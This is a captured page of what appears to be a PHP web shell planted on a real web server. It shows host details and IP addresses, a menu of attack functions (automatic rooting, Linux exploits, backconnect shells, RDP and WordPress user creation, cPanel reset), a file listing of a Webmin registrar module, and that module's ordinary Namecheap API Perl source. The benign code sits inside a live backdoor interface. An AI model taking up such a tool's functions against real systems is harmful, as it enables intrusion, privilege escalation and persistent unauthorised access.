Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
virtualmin-registrar /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
newfeatures
[ DIR ]
drwxr-xr-x
CHANGELOG
990
B
-rw-r--r--
LICENSE
34.32
KB
-rw-r--r--
auto.pl
3.16
KB
-rwxr-xr-x
cgi_args.pl
857
B
-rwxr-xr-x
config
46
B
-rw-r--r--
config.info
271
B
-rw-r--r--
config.info.de
135
B
-rw-r--r--
config.info.nl
214
B
-rw-r--r--
countries.txt
9.3
KB
-rw-r--r--
create.cgi
1.16
KB
-rwxr-xr-x
create_form.cgi
936
B
-rwxr-xr-x
defaultacl
12
B
-rw-r--r--
delete.cgi
1.97
KB
-rwxr-xr-x
dereg.cgi
1.28
KB
-rwxr-xr-x
distribute-type-lib.pl
16.68
KB
-rwxr-xr-x
edit.cgi
3.27
KB
-rwxr-xr-x
edit_auto.cgi
1.91
KB
-rwxr-xr-x
edit_contact.cgi
4.18
KB
-rwxr-xr-x
edit_dereg.cgi
1.04
KB
-rwxr-xr-x
edit_import.cgi
1.38
KB
-rwxr-xr-x
edit_ns.cgi
2.04
KB
-rwxr-xr-x
edit_onecontact.cgi
2.93
KB
-rwxr-xr-x
edit_renew.cgi
1.67
KB
-rwxr-xr-x
edit_transfer.cgi
1.48
KB
-rwxr-xr-x
gandi-type-lib.pl
14.21
KB
-rwxr-xr-x
import.cgi
2.01
KB
-rwxr-xr-x
index.cgi
2.58
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
list.cgi
1.73
KB
-rwxr-xr-x
list_contacts.cgi
1.59
KB
-rwxr-xr-x
module.info
125
B
-rw-r--r--
module.info.af.auto
42
B
-rw-r--r--
module.info.ar.auto
43
B
-rw-r--r--
module.info.be.auto
55
B
-rw-r--r--
module.info.bg.auto
70
B
-rw-r--r--
module.info.ca.auto
39
B
-rw-r--r--
module.info.cs.auto
38
B
-rw-r--r--
module.info.da.auto
39
B
-rw-r--r--
module.info.de
39
B
-rw-r--r--
module.info.el.auto
45
B
-rw-r--r--
module.info.es.auto
42
B
-rw-r--r--
module.info.eu.auto
41
B
-rw-r--r--
module.info.fa.auto
37
B
-rw-r--r--
module.info.fi.auto
50
B
-rw-r--r--
module.info.fr.auto
45
B
-rw-r--r--
module.info.he.auto
39
B
-rw-r--r--
module.info.hr.auto
39
B
-rw-r--r--
module.info.hu.auto
41
B
-rw-r--r--
module.info.it.auto
40
B
-rw-r--r--
module.info.ja.auto
37
B
-rw-r--r--
module.info.ko.auto
32
B
-rw-r--r--
module.info.lt.auto
46
B
-rw-r--r--
module.info.lv.auto
42
B
-rw-r--r--
module.info.ms.auto
38
B
-rw-r--r--
module.info.mt.auto
47
B
-rw-r--r--
module.info.nl
38
B
-rw-r--r--
module.info.no.auto
38
B
-rw-r--r--
module.info.pl.auto
38
B
-rw-r--r--
module.info.pt.auto
40
B
-rw-r--r--
module.info.pt_BR.auto
43
B
-rw-r--r--
module.info.ro.auto
41
B
-rw-r--r--
module.info.ru.auto
57
B
-rw-r--r--
module.info.sk.auto
40
B
-rw-r--r--
module.info.sl.auto
38
B
-rw-r--r--
module.info.sv.auto
42
B
-rw-r--r--
module.info.th.auto
71
B
-rw-r--r--
module.info.tr.auto
36
B
-rw-r--r--
module.info.uk.auto
53
B
-rw-r--r--
module.info.ur.auto
49
B
-rw-r--r--
module.info.vi.auto
42
B
-rw-r--r--
module.info.zh.auto
28
B
-rw-r--r--
module.info.zh_TW.auto
31
B
-rw-r--r--
namecheap-type-lib.pl
15.86
KB
-rw-r--r--
newgandi-type-lib.pl
22.86
KB
-rwxr-xr-x
rcom-type-lib.pl
21.94
KB
-rwxr-xr-x
renew.cgi
1.18
KB
-rwxr-xr-x
save.cgi
3.17
KB
-rwxr-xr-x
save_auto.cgi
1.96
KB
-rwxr-xr-x
save_contact.cgi
2.06
KB
-rwxr-xr-x
save_ns.cgi
1.79
KB
-rwxr-xr-x
save_onecontact.cgi
2.27
KB
-rwxr-xr-x
transfer.cgi
1.43
KB
-rwxr-xr-x
update_contacts.cgi
1.31
KB
-rw-r--r--
view_contact.cgi
1.42
KB
-rwxr-xr-x
virtual_feature.pl
12.34
KB
-rwxr-xr-x
virtualmin-registrar-lib.pl
7.98
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : namecheap-type-lib.pl
# Functions for talking to namecheap use strict; no strict 'refs'; use warnings; our (%text); our $module_name; my $namecheap_api_url_test = "https://api.sandbox.namecheap.com/xml.response"; my $namecheap_api_url = "https://api.namecheap.com/xml.response"; $@ = undef; eval "use XML::Simple"; my $xml_simple_err = $@; # Returns the name of this registrar sub type_namecheap_desc { return $text{'type_namecheap'}; } # Returns an error message if needed dependencies are missing sub type_namecheap_check { if ($xml_simple_err) { my $rv = &text('namecheap_eperl', "<tt>XML::Simple</tt>", "<tt>".&html_escape($xml_simple_err)."</tt>"); if (&foreign_available("cpan")) { $rv .= "\n".&text('gandi_cpan', "../cpan/download.cgi?source=3&cpan=XML::Simple&". "return=../$module_name/&". "returndesc=".&urlize($text{'index_return'})); } return $rv; } return undef; } # type_namecheap_domains([&account]) # Returns top-level domains namecheap supports. # From : http://www.namecheap.com/domains/domain-pricing.aspx sub type_namecheap_domains { my ($account) = @_; if ($account) { my ($ok, $xml) = &call_namecheap_api( $account, "namecheap.domains.getTldList"); if ($ok) { return map { ".".$_->{'Name'} } @{$xml->{'Tlds'}->{'Tld'}}; } } return ( ".com", ".net", ".org", ".info", ".co.uk", ".us", ".me", ".co", ".ca", ".mobi", ".biz", ".xxx", ".de". ".tv", ".eu", ".in", ".org.uk", ".me.uk", ".cc", ".asia", ".ws", ".bz", ".cm", ".nu" ); } # type_namecheap_edit_inputs(&account, new?) # Returns table fields for entering the account login details sub type_namecheap_edit_inputs { my ($account, $new) = @_; my $rv; $rv .= &ui_table_row($text{'namecheap_user'}, &ui_textbox("namecheap_user", $account->{'namecheap_user'}, 30)); $rv .= &ui_table_row($text{'namecheap_apikey'}, &ui_textbox("namecheap_apikey", $account->{'namecheap_apikey'}, 30)); $rv .= &ui_table_row($text{'namecheap_srcdom'}, &ui_textbox("namecheap_srcdom", $account->{'namecheap_srcdom'}, 30)); $rv .= &ui_table_row($text{'rcom_years'}, &ui_opt_textbox("namecheap_years", $account->{'namecheap_years'}, 4, $text{'rcom_yearsdef'})); $rv .= &ui_table_row($text{'rcom_test'}, &ui_radio("namecheap_test", int($account->{'namecheap_test'}), [ [ 1, $text{'rcom_test1'} ], [ 0, $text{'rcom_test0'} ] ])); return $rv; } # type_namecheap_edit_parse(&account, new?, &in) # Updates the account object with parsed inputs. Returns undef on success or # an error message on failure. sub type_namecheap_edit_parse { my ($account, $new, $in) = @_; $in->{'namecheap_user'} =~ /^\S+$/ || return $text{'namecheap_euser'}; $account->{'namecheap_user'} = $in->{'namecheap_user'}; $in->{'namecheap_apikey'} =~ /^\S+$/ || return $text{'namecheap_eapikey'}; $account->{'namecheap_apikey'} = $in->{'namecheap_apikey'}; $in->{'namecheap_srcdom'} =~ /^\S+$/ || return $text{'namecheap_esrcdom'}; $account->{'namecheap_srcdom'} = $in->{'namecheap_srcdom'}; if ($in->{'namecheap_years_def'}) { delete($account->{'namecheap_years'}); } else { $in->{'namecheap_years'} =~ /^\d+$/ && $in->{'namecheap_years'} > 0 && $in->{'namecheap_years'} <= 10 || return $text{'rcom_eyears'}; $account->{'namecheap_years'} = $in->{'namecheap_years'}; } $account->{'namecheap_test'} = $in->{'namecheap_test'}; return undef; } # type_namecheap_renew_years(&account, &domain) # Returns the number of years by default to renew a domain for sub type_namecheap_renew_years { my ($account, $d) = @_; return $account->{'namecheap_years'} || 2; } # type_namecheap_validate(&account) # Checks if an account's details are vaid. Returns undef if OK or an error # message if the login or password are wrong. sub type_namecheap_validate { my ($account) = @_; my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.getList"); if ($ok) { # Connected OK .. but does the source domain exist? my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.getContacts", { 'DomainName' => $account->{'namecheap_srcdom'} }); if (!$ok && $xml =~ /Domain Name not found/i) { return $text{'namecheap_esrcdom2'}; } elsif (!$ok) { return &text('namecheap_esrcdom3', $xml); } else { return undef; } } else { return $xml; } } # type_namecheap_check_domain(&account, domain) # Checks if some domain name is available for registration, returns undef if # yes, or an error message if not. sub type_namecheap_check_domain { my ($account, $dname) = @_; my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.check", { 'DomainList' => $dname }); return &text('namecheap_error', $xml) if (!$ok); if ($xml->{'DomainCheckResult'}->{'Available'} eq 'true') { return undef; } elsif ($xml->{'DomainCheckResult'}->{'Available'}) { return $text{'namecheap_taken'}; } else { return $text{'namecheap_unknown'}; } } # type_namecheap_owned_domain(&account, domain) # Checks if some domain is owned by the given account. If so, returns the # 1 and the registrar's ID - if not, returns 1 and undef, on failure returns # 0 and an error message. sub type_namecheap_owned_domain { my ($account, $dname) = @_; my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.getinfo", { 'DomainName' => $dname }); if (!$ok && $xml =~ /Domain Name not found/i) { return (1, undef); } elsif (!$ok) { return (0, &text('namecheap_error', $xml)); } else { return (1, $xml->{'DomainGetInfoResult'}->{'ID'}); } } # type_namecheap_create_domain(&account, &domain) # Actually register a domain, if possible. Returns 0 and an error message if # it failed, or 1 and an ID for the domain on success. sub type_namecheap_create_domain { my ($account, $d) = @_; # Get the nameservers my $nss = &get_domain_nameservers($account, $d); if (!ref($nss)) { return (0, $nss); } elsif (!@$nss) { return (0, $text{'rcom_ensrecords'}); } elsif (@$nss < 2) { return (0, &text('namecheap_enstwo', 2, $nss->[0])); } # Get the domain to copy contacts from my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.getContacts", { 'DomainName' => $account->{'namecheap_srcdom'} }); $ok || return (0, &text('namecheap_error', $xml)); # Build list of params my %params = ( 'Nameservers' => join(",", @$nss), 'DomainName' => $d->{'dom'}, 'Years' => $d->{'registrar_years'} || $account->{'namecheap_years'} || 1, ); foreach my $t (keys %{$xml->{'DomainContactsResult'}}) { my $con = $xml->{'DomainContactsResult'}->{$t}; next if (!$con->{'FirstName'}); foreach my $ck (keys %$con) { $params{$t.$ck} = $con->{$ck}; } } # Call to create ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.create", \%params); return (0, &text('namecheap_error', $xml)) if (!$ok); return (1, $xml->{'DomainCreateResult'}->{'DomainID'}); } # type_namecheap_get_nameservers(&account, &domain) # Returns a array ref list of nameserver hostnames for some domain, or # an error message on failure. sub type_namecheap_get_nameservers { my ($account, $d) = @_; $d->{'dom'} =~ /^([^\.]+)\.(\S+)$/ || return "Invalid domain name $d->{'dom'}"; my ($sld, $tld) = ($1, $2); my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.dns.getList", { 'SLD' => $sld, 'TLD' => $tld }); return &text('namecheap_error', $xml) if (!$ok); my $nss = $xml->{'DomainDNSGetListResult'}->{'Nameserver'}; $nss = [ $nss ] if (!ref($nss)); return $nss; } # type_namecheap_set_nameservers(&account, &domain, [&nameservers]) # Updates the nameservers for a domain to match DNS. Returns undef on success # or an error message on failure. sub type_namecheap_set_nameservers { my ($account, $d, $nss) = @_; # Get nameservers in DNS $nss ||= &get_domain_nameservers($account, $d); if (!ref($nss)) { return $nss; } elsif (!@$nss) { return $text{'rcom_ensrecords'}; } elsif (@$nss < 2) { return &text('namecheap_enstwo', 2, $nss->[0]); } # Set the nameservers $d->{'dom'} =~ /^([^\.]+)\.(\S+)$/ || return "Invalid domain name $d->{'dom'}"; my ($sld, $tld) = ($1, $2); my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.dns.setCustom", { 'SLD' => $sld, 'TLD' => $tld, 'Nameservers' => join(",", @$nss) }); return $ok ? undef : $xml; } # type_namecheap_get_expiry(&account, &domain) # Returns either 1 and the expiry time (unix) for a domain, or 0 and an error # message. sub type_namecheap_get_expiry { my ($account, $d) = @_; my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.getinfo", { 'DomainName' => $d->{'dom'} }); return (0, &text('namecheap_error', $xml)) if (!$ok); my $t = $xml->{'DomainGetInfoResult'}->{'DomainDetails'}->{'ExpiredDate'}; if ($t =~ /(\d+)\/(\d+)\/(\d+)/) { return (1, timelocal(0, 0, 0, $2, $1-1, $3-1900)); } return (0, &text('gandi_eexpiry', $t)); } # type_namecheap_renew_domain(&account, &domain, years) # Attempts to renew a domain for the specified period. Returns 1 and the # registrars confirmation code on success, or 0 and an error message on # failure. sub type_namecheap_renew_domain { my ($account, $d, $years) = @_; my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.renew", { 'DomainName' => $d->{'dom'}, 'Years' => $years }); return (0, &text('namecheap_error', $xml)) if (!$ok); return (1, $xml->{'DomainRenewResult'}->{'OrderID'}); } # type_namecheap_add_instructions() # Returns HTML for instructions to be shown on the account adding form, such # as where to create one. sub type_namecheap_add_instructions { return &text('namecheap_instructions', 'https://www.namecheap.com/myaccount/signup.aspx', 'http://developer.namecheap.com/docs/'); } # type_namecheap_transfer_domain(&account, &domain, key) # Transfer a domain from whatever registrar it is currently hosted with to # this Namecheap account. Returns 1 and an order ID on succes, or 0 # and an error mesasge on failure. If a number of years is given, also renews # the domain for that period. sub type_namecheap_transfer_domain { my ($account, $d, $key, $years) = @_; # Get my nameservers my $nss = &get_domain_nameservers($account, $d); if (!ref($nss)) { return (0, $nss); } elsif (!@$nss) { return (0, $text{'rcom_ensrecords'}); } elsif (@$nss < 2) { return (0, &text('namecheap_enstwo', 2, $nss->[0])); } # Start the transfer my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.transfer.create", { 'DomainName' => $d->{'dom'}, 'Years' => $years, 'EPPCode' => $key }); return (0, &text('namecheap_error', $xml)) if (!$ok); my $tid = $xml->{'DomainTransferCreateResult'}->{'TransferID'}; # Poll for completion my $tries = 0; my $t; while($tries++ < 300) { sleep(1); my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.transfer.getList"); next if (!$ok); ($t) = grep { $_->{'Domainname'} eq $d->{'dom'} } @{$xml->{'TransferGetListResult'}->{'Transfer'}}; next if (!$t); if ($t->{'Status'} eq 'CANCELLED') { return (0, $t->{'StatusDescription'}); } elsif ($t->{'Status'} eq 'COMPLETED') { return (1, $t->{'OrderID'}); } } # Timed out return (0, $t ? &text('namecheap_etransfer', $t->{'StatusDescription'}) : $text{'namecheap_etransfer2'}); } # type_namecheap_delete_domain(&account, &domain) # Deletes a domain previously created with this registrar sub type_namecheap_delete_domain { my ($account, $d) = @_; my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.delete", { 'DomainName' => $d->{'dom'} }); return (0, &text('namecheap_error', $xml)) if (!$ok); return (1, $d->{'dom'}); } # type_namecheap_get_contact(&account, &domain) # Returns a array containing hashes of domain contact information, or an error # message if it could not be found. sub type_namecheap_get_contact { my ($account, $d) = @_; my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.getContacts", { 'DomainName' => $d->{'dom'} }); $ok || return &text('namecheap_error', $xml); my @rv; my @schema = &type_namecheap_get_contact_schema($account, $d); foreach my $t (keys %{$xml->{'DomainContactsResult'}}) { my $con = $xml->{'DomainContactsResult'}->{$t}; next if (!$con->{'FirstName'}); $con->{'purpose'} = $t; foreach my $s (@schema) { my $v = $con->{$s->{'name'}}; if (ref($v) eq 'HASH') { $v = join(",", keys %$v); } elsif (ref($v) eq 'ARRAY') { $v = @$v; } $con->{$s->{'name'}} = $v; } push(@rv, $con); } return \@rv; } # type_namecheap_save_contact(&account, &domain, &contacts) # Updates contacts from an array of hashes sub type_namecheap_save_contact { my ($account, $d, $cons) = @_; my %params = ( 'DomainName' => $d->{'dom'} ); foreach my $con (@$cons) { foreach my $k (keys %$con) { next if ($k eq 'purpose'); $params{$con->{'purpose'}.$k} = $con->{$k}; } } my ($ok, $xml) = &call_namecheap_api($account, "namecheap.domains.setContacts", \%params); $ok || return &text('namecheap_error', $xml); return undef; } # type_namecheap_get_contact_schema(&account, &domain, type) # Returns a list of fields for domain contacts, as seen by register.com sub type_namecheap_get_contact_schema { my ($account, $d, $type) = @_; return ( { 'name' => 'FirstName', 'size' => 40, 'opt' => 0 }, { 'name' => 'LastName', 'size' => 40, 'opt' => 0 }, { 'name' => 'OrganizationName', 'size' => 60, 'opt' => 1 }, { 'name' => 'JobTitle', 'size' => 60, 'opt' => 1 }, { 'name' => 'Address1', 'size' => 60, 'opt' => 0 }, { 'name' => 'Address2', 'size' => 60, 'opt' => 2 }, { 'name' => 'City', 'size' => 40, 'opt' => 0 }, { 'name' => 'StateProvinceChoice', 'choices' => [ [ 'S', 'State' ], [ 'P', 'Province' ] ], 'opt' => 1 }, { 'name' => 'StateProvince', 'size' => 40, 'opt' => 1 }, { 'name' => 'PostalCode', 'size' => 20, 'opt' => 1 }, { 'name' => 'Country', 'choices' => [ map { [ $_->[1], $_->[0] ] } &list_countries() ], 'opt' => 0 }, { 'name' => 'EmailAddress', 'size' => 60, 'opt' => 0 }, { 'name' => 'Phone', 'size' => 40, 'opt' => 0 }, { 'name' => 'PhoneExt', 'size' => 40, 'opt' => 1 }, { 'name' => 'Fax', 'size' => 40, 'opt' => 1 }, ); } # call_namecheap_api(&account, command, ¶ms) # Calls the namecheap API, and returns a status code and either error message # or a results object. sub call_namecheap_api { my ($account, $cmd, $params) = @_; my $url = $account->{'namecheap_test'} ? $namecheap_api_url_test : $namecheap_api_url; my ($host, $port, $page, $ssl) = &parse_http_url($url); $page .= "?APIUser=".&urlize($account->{'namecheap_user'}). "&ApiKey=".&urlize($account->{'namecheap_apikey'}). "&UserName=".&urlize($account->{'namecheap_user'}). "&ClientIP=".($account->{'namecheap_ip'} || &virtual_server::get_dns_ip() || &virtual_server::get_default_ip()). "&Command=".&urlize($cmd); my $data; if ($params) { foreach my $p (keys %$params) { my $v = $params->{$p}; if (ref($v) eq 'HASH') { $v = join(",", keys %$v); } elsif (ref($v) eq 'ARRAY') { $v = @$v; } $data .= "&".$p."=".&urlize($v); } } $data =~ s/^\&//; my ($out, $err); &http_post_download($host, $port, $page, \$out, \$err, $data, $ssl); return (0, $err) if ($err); return (0, "Invalid response : $out") if ($out !~ /^\s*</); my $xml; eval { $xml = XMLin($out); }; return (0, "Invalid response XML : $@") if ($@); return (0, "API command failed : $xml->{'Errors'}->{'Error'}->{'content'}") if ($xml->{'Status'} ne 'OK'); return (1, $xml->{'CommandResponse'}); } # http_post_download(host, port, page, &out, &err, post-data, ssl) sub http_post_download { my ($host, $port, $page, $out, $err, $data, $ssl) = @_; my $h = &make_http_connection($host, $port, $ssl, "POST", $page); if (!ref($h)) { $$err = $h; return 0; } &write_http_connection($h, "Host: $host\r\n"); &write_http_connection($h, "User-agent: Webmin\r\n"); &write_http_connection($h, "Content-type: application/x-www-form-urlencoded\r\n"); &write_http_connection($h, "Content-length: ".(length($data)+2)."\r\n"); &write_http_connection($h, "\r\n"); &write_http_connection($h, "$data\r\n"); &complete_http_download($h, $out, $err, undef, 0, $host, $port, undef, $ssl, 1); } 1;
Close